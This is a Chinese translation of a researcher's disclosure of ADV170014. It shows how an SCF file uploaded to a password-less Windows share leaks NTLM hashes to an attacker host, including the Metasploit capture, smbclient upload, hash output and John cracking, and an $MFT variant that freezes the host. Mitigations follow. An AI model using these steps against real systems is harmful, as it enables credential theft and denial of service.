ADV170014 NTLM SSO:利用指南
一、前言
2017年10月,微軟在周二補丁日公布了一份安全公告(ADV170014),這份安全公告中提到了NTLM身份驗證方案中的一個漏洞,惡意攻擊者可以利用這個漏洞來竊取哈希,遠程凍結受影響的主機。
我在2017年5月24日報告了這個漏洞,微軟於2017年10月18日正式結束了該漏洞處理周期。
因此,微軟總共花了148天來檢查這個問題。
在10月份的周二補丁日之後,我公開了漏洞的詳細信息,既然官方已經公布這個漏洞的「解決方案」,現在系統管理員可以在註冊表上使用補丁來修復漏洞(前提當前環境可以使用這個補丁),後面我們會詳細介紹這一點。
二、漏洞概要
眾所周知,微軟的NTLM架構中存在一些缺陷,哈希竊取並不是一門新的技術,滲透測試人員在攻擊微軟環境時,首先就會嘗試哈希竊取技術。
然而,這些技術大多數都需要用戶參與其中,或者需要攔截流量才能完成攻擊流程。
本文介紹的這種新的攻擊方法完全不需要用戶交互,所有操作都可以在攻擊者這端完成,當然,為了成功實施攻擊,必須滿足某些條件。
三、攻擊場景
若要實施攻擊,目標主機上必須存在沒有設置密碼保護的一個共享文件夾,這種場景非常常見,比如辦公室、學校、醫院以及大多數Windows環境中,人們都會通過共享文件夾來共享音樂、照片以及文檔。
舉個例子,用戶「Juan」在他的桌面上創建了一個文件夾,名為「Pruba2」,他想把這個文件夾共享給他的團隊使用。
現在,轉到「Sharing(共享)」選項卡窗口,修改目錄屬性,允許用戶不使用密碼來查看這個共享文件夾。
在這個對話框中,我們可以看到共享文件夾的具體路徑,為「JUAN-PCUsersjuanDesktopprueba2」。
現在,點擊「Network and Sharing center(網路和共享中心)」。
如上圖所示,點擊「Turn off password protected sharing(關閉密碼保護共享)」選項,這樣一來,任何用戶就可以訪問這個共享文件夾,無需身份驗證。
四、SCF文件
微軟在Windows 3.11時引入了SCF文件。SCF文件其實是純文本文件,可以用來指導Windows文件資源管理器執行一些基本任務。
現在已經有一些基於SCF的攻擊手段,但到目前為止,所有的這些攻擊方法都需要用戶參與才能執行SCF文件。
我們找到了近期使用的兩個例子,來自Defense Code的Bosko Stankovic在一篇文章中介紹了如何使用Google Chrome瀏覽器竊取Windows憑據信息,2015年的黑帽大會上,Jonathan Brossard以及Hormazd Billimoria演示了使用SMB的一種攻擊方法(請參考:「SMB:共享的不僅僅是你的文件」)。
基本的SCF文件結構如下所示:
[Shell]nCommand=2nIconFile=192.168.1.101sharetest.icon[Taskbar]nCommand=ToggleDesktop n
文件結構就是這麼簡單。值得一提的是,SCF文件表面上看起來比較簡單,實際上這個Windows功能非常複雜,並且幾乎不存在相關的參考文檔。
五、竊取哈希
在攻擊演示場景中,我們準備使用Metasploit工具,所使用的SCF文件內容如下所示:
root@sysadminjd:~# cat test.scfn[Shell]nCommand=2nIconFile=192.168.1.111sharetest.icon[Taskbar]nCommand=ToggleDesktopnroot@sysadminjd:~#n
我們所使用的攻擊主機IP地址為192.168.1.111,在攻擊主機上,我們運行著capture/smb Metasploit模塊:
root@sysadminjd:~# msfconsole -qnmsf > use auxiliary/server/capture/smbnmsf auxiliary(smb) > set JOHNPWFILE /tmp/smbhash.txtnJOHNPWFILE = /tmp/smbhash.txtnmsf auxiliary(smb) > exploit -jn[*] Auxiliary module running as background jobn n[*] Server started.nmsf auxiliary(smb)n
因為我們準備使用John the Ripper來破解捕獲的哈希,所以我們需要在上述命令中設置JOHNPWFILE選項,將其指向/tmp/smbhash.txt,該文件用來保存已捕捉到的哈希值。
此時,Prueba2目錄中空空如也,想要攻擊成功的話,我們需要往裡面添點東西。
一切準備就緒後,我們需要將SCF文件上傳到受漏洞影響的這個目錄中,此時我們可以使用各種方法,比如通過OSX Finder、Windows資源管理器來上傳文件,這裡我們使用的是smbclient這個命令行工具。
root@sysadminjd:~# smbclient //192.168.1.67/UsersnWARNING: The "syslog" option is deprecatednEnter roots password:nOS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]nsmb: > cd juannsmb: juan> cd Desktopnsmb: juanDesktop> cd prueba2nsmb: juanDesktopprueba2> put test.scfnputting file test.scf as juanDesktopprueba2test.scf (88.9 kb/s) (average 88.9 kb/s)nsmb: juanDesktopprueba2> lsn. D 0 Mon Oct 23 12:27:15 2017n.. D 0 Mon Oct 23 12:27:15 2017n.DS_Store AH 6148 Tue May 23 17:29:03 2017ntest.scf A 91 Mon Oct 23 12:27:15 2017n6527487 blocks of size 4096. 4043523 blocks availablensmb: juanDesktopprueba2>nroot@sysadminjd:~#n
隨後,這個目錄中出現了我們上傳的SCF文件。
一切順利的話,此時我們的Metasploit控制台中會出現如下信息:
msf auxiliary(smb) >n[*] SMB Captured - 2017-10-23 12:27:15 -0400nNTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67nUSER:juan DOMAIN:juan-PC OS: LM:nLMHASH:DisablednLM_CLIENT_CHALLENGE:DisablednNTHASH:47894338d99abe2f08e2c693618c7323nNT_CLIENT_CHALLENGE:0101000000000000d0046aca1b4cd301d755c3756d5639d800000000020000000000000000000000n[*] SMB Captured - 2017-10-23 12:27:15 -0400nNTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67nUSER:juan DOMAIN:juan-PC OS: LM:nLMHASH:DisablednLM_CLIENT_CHALLENGE:DisablednNTHASH:e97b70559f29462e2ca221d31113b9canNT_CLIENT_CHALLENGE:0101000000000000a0177dca1b4cd301f59d5c5d52708e3b00000000020000000000000000000000n[*] SMB Captured - 2017-10-23 12:27:15 -0400nNTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67nUSER:juan DOMAIN:juan-PC OS: LM:nLMHASH:DisablednLM_CLIENT_CHALLENGE:DisablednNTHASH:eb8b228b739cc95a12d7e0d89d89e002nNT_CLIENT_CHALLENGE:0101000000000000620389ca1b4cd3017283fc96884767b700000000020000000000000000000000n[*] SMB Captured - 2017-10-23 12:37:09 -0400nNTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67nUSER:juan DOMAIN:juan-PC OS: LM:nLMHASH:DisablednLM_CLIENT_CHALLENGE:DisablednNTHASH:4abb0803c4afd1509bfca3bbc566ad70nNT_CLIENT_CHALLENGE:010100000000000076d7742c1d4cd30161b2c77a54bd58fe00000000020000000000000000000000n[*] SMB Captured - 2017-10-23 12:37:09 -0400nNTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67nUSER:juan DOMAIN:juan-PC OS: LM:nLMHASH:DisablednLM_CLIENT_CHALLENGE:DisablednNTHASH:5eeb82aab85e9663624aaf6500e4d8f8nNT_CLIENT_CHALLENGE:010100000000000046ea872c1d4cd301c7a724adf323918c00000000020000000000000000000000n[*] SMB Captured - 2017-10-23 12:37:09 -0400nNTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67nUSER:juan DOMAIN:juan-PC OS: LM:nLMHASH:DisablednLM_CLIENT_CHALLENGE:DisablednNTHASH:55a0cb725a5a171cffdccea36fdcd934nNT_CLIENT_CHALLENGE:010100000000000054118f2c1d4cd301f718b1ba2d4efc7800000000020000000000000000000000n
如上所示,只需要一個簡單的上傳操作,就能觸發多次身份認證請求,因此我們不用擔心拿不到數據。
現在,在攻擊主機上我們已經捕獲到一些哈希值,接下來我們可以使用John來暴力破解明文密碼。
root@sysadminjd:~# cd /tmp/nroot@sysadminjd:/tmp# john smbhash.txt_netntlmv2nUsing default input encoding: UTF-8nRules/masks using ISO-8859-1nLoaded 6 password hashes with 6 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])nPress q or Ctrl-C to abort, almost any other key for statusnabc (juan)nabc (juan)nabc (juan)nabc (juan)nabc (juan)nabc (juan)n6g 0:00:00:00 DONE 2/3 (2017-10-23 12:27) 75.86g/s 404596p/s 585124c/s 585124C/s abcnUse the "--show" option to display all of the cracked passwords reliablynSession completednroot@sysadminjd:/tmp#n
John成功恢復了明文密碼,看起來「juan」用戶使用了弱口令「abc」。
六、凍結目標主機
在第二種攻擊場景中,我們可以遠程凍結目標主機,來看看具體操作步驟。
我們還是需要存在漏洞的一個文件夾,這裡我們直接使用了前面那個文件夾,同樣,我們也需要使用一個SCF文件,文件內容與上一個文件相比有點區別。
root@sysadminjd:~# cat mft.scfn[Shell]nCommand=2nIconFile= c:$MFT123n[Taskbar]nCommand=ToggleDesktopnroot@sysadminjd:~#n
這個SCF文件中引用了$MFT,這個字元串可以鎖定NTFS文件系統,已經有一篇文章介紹過這個技術(西班牙語寫的,閱讀起來可能有點麻煩),你也可以在互聯網上搜搜關於這方面的參考資料。
現在,我們可以使用smbclient將該SCF文件上傳到存在漏洞的主機上。
root@sysadminjd:~# smbclient //192.168.1.67/UsersnWARNING: The "syslog" option is deprecatednEnter roots password:nnOS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]nnsmb: Z cdnnDefault desktop.ini juan Publicnnsmb: > cd juanDesktopprueba2nsmb: juanDesktopprueba2> lsn. D 0 Wed May 24 18:08:34 2017n.. D 0 Wed May 24 18:08:34 2017n.DS_Store AH 6148 Tue May 23 17:29:03 2017n1.exe A 7168 Tue May 23 17:29:03 2017nprueba.scf A 92 Wed May 24 18:08:34 2017n n6527487 blocks of size 4096. 4156104 blocks availablen nsmb: juanDesktopprueba2> put mft.scfnputting file mft.scf as juanDesktopprueba2mft.scf (17.6 kb/s) (average 17.6 kb/s)n
整個過程就是這麼簡單,從現在起,攻擊者或目標用戶不需要再做什麼操作,目標主機會鎖定文件系統,直至重啟。
七、影響範圍
根據微軟的說法,從Windows 3.11開始到Windows 10的所有Windows版本(包括桌面版以及伺服器版)都會受到這種攻擊影響。
實話實說,我只在Windows 7以及Windows 10上測試過這種攻擊方法,然後我就把皮球踢給微軟,由他們負責處理後續事宜
八、防禦措施
微軟為這個漏洞提供了一個補丁程序,這個補丁會修改兩項註冊表鍵值,以禁用系統上的NTLM機制。只有Windows 10以及Windows Server 2016上才有這些註冊表鍵值,並且看起來微軟並不想將這種機制移植到其他版本的Windows系統。
另一個問題是,禁用NTLM會破壞已有的許多環境,這一點不容忽視。
我的建議是使用強度較高的密碼。實施攻擊後,我們需要破解已捕獲的哈希,如果密碼非常複雜,破解過程可能需要很長時間,讓攻擊者舉足無措。
更好的辦法是,不要設置沒有密碼的共享文件夾,這樣做就能免受此類攻擊。
九、致謝及總結
這個漏洞已經存在很長一段時間,我在滲透測試任務中使用這個漏洞已將近一年的時間。
漏洞原理非常簡單,幾乎每個人都可以加以利用。好消息是,想要成功利用這個漏洞必須滿足一些條件,使用默認配置的Windows不會受此漏洞影響。
感謝微軟安全響應中心(MSRC),他們付出了許多心血,同時也提供了一個補丁修復了部分操作系統上存在的漏洞。想在不破壞Windows系統完整性的同時,提供完整補丁以適配所有版本的操作系統,這一點不大現實。
來自Defense Code的Bosko Stankovic發表了一篇文章介紹如何使用Chrome瀏覽器竊取Windows憑據,黑帽大會上Jonathan Brossard和Hormazd Billimoria演示了如何利用SMB發起攻擊,他們的研究成果非常優秀,沒有他們的幫助,我很難實現這個漏洞利用技術。
再次感謝讀者閱讀本文。
推薦閱讀:
※一驚一乍的「Wi-Fi 漏洞」新聞嚇到你了?淡定些來聽聽安全專家怎麼說
※兒童電話手錶的安全漏洞會造成哪些問題?如何避免
※大家都來談談安全漏洞等級的評價吧,你認為怎樣的標準合理呢?怎麼讓業務或者是其他安全團隊接受的你判斷。
※HTTPS 和 OpenSSL 是什麼關係?
※如何看待大疆漏洞獎勵計劃 ,信息安全研究員疑似遭威脅,拒絕獎勵協議並準備公開獲得的信息?